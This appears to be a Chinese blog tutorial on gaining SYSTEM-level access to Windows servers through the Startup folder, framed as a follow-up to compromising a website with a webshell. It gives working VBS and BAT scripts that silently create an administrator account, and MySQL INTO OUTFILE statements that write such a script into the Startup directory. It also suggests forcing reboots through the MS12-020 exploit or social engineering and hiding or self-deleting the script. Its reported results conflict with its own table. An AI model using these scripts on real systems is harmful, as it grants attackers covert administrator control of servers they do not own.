天天看点

启动项提权

0x00开机启动项提权

windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。

0x01 关于自动化脚本

自动化脚本可以是bat文件,vbs文件等。

我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。

一个添加用户密码的vbs脚本的内容如下:

脚本1
set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
os="WinNT://"&wsnetwork.ComputerName 
Set ob=GetObject(os) '得到adsi接口,绑定 
Set oe=GetObject(os&"/Administrators,group") '属性,admin组 
Set od=ob.Create("user","test") '建立用户 
od.SetPassword "1234" '设置密码 
od.SetInfo '保存 
Set of=GetObject(os&"/test",user) '得到用户 
oe.add os&"/test" 
           

另一个添加用户密码的vbs脚本的内容如下:

脚本2
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user ttt 123456 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators ttt /add",0)
           

保存为a.vbs,上传到启动目录。提权结束,等待目标服务器再次开机登录时即可自动添加帐号密码。

TIPS:

1.通常我们会主动去重启服务器,利用远程溢出(Ms12-020)或社工手法等。
2.写入脚本的时候也常常用数据库去写入
           

一个添加用户密码的bat脚本的内容如下:

脚本3
@echo off
net user test1 123456 /add
net localgroup administrators test1 /add
           

0x02 通过mysql来写入启动项提权

1.连接到对方MYSQL 服务器

2.进入test数据库,这个数据库一般情况下没有表

数据库语句内容如下

create table a(cmd text); #创建a表,表中只存放一个字段cmd,为text文本
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user ttt 123456 /add"",0)");  #添加用户密码,注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators ttt /add"",0)"); #加入administrators组

select * from a;查询有没有写入
select * from a into outfile "C:\\Users\\zth\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs" #把表中的内容写入到启动组中,是一个VBS的脚本文件!注意“\”符号
           
启动项提权
启动项提权

0x03 测试结果

我在本地虚拟机(靶机win7专业版)测试过程中,启动项提权成功与否,信息如下:

Administrator超级官理员 普通管理员
脚本1 提权失败 提权失败
脚本2 提权成功 提权失败
脚本3 提权失败 提权失败

1.以下两图是在超级管理员账户下的截图,在运行脚本1和2时,无报错,无弹窗。脚本1用户创建成功,脚本2和3的用户都没创建出来。

启动项提权

[外链图片转存失败(img-4HfzefiK-1563876027863)(https://i.loli.net/2019/07/23/5d36b7a47fedd56698.png)]

2.在管理员账户下,重启时运行脚本1时遇到如下错误,在运行这条语句时

od.SetInfo

,报错,没有去深究。运行脚本2时有弹窗,脚本3没反应。三个脚本的用户都没有创建成功。

启动项提权

其实这就是利用MYSQL向启动组输入了一个可执行的文件而已。BAT脚本,在启动运行时会有明显的DOS窗口弹出来,而VBS脚本则可以完全隐藏窗口且不会有错误提示!也可以写一句完成脚本后自动删除此脚本的语句。

参看链接:

https://www.jianshu.com/p/595f3511d970

http://www.jinglingshu.org/?p=7262

继续阅读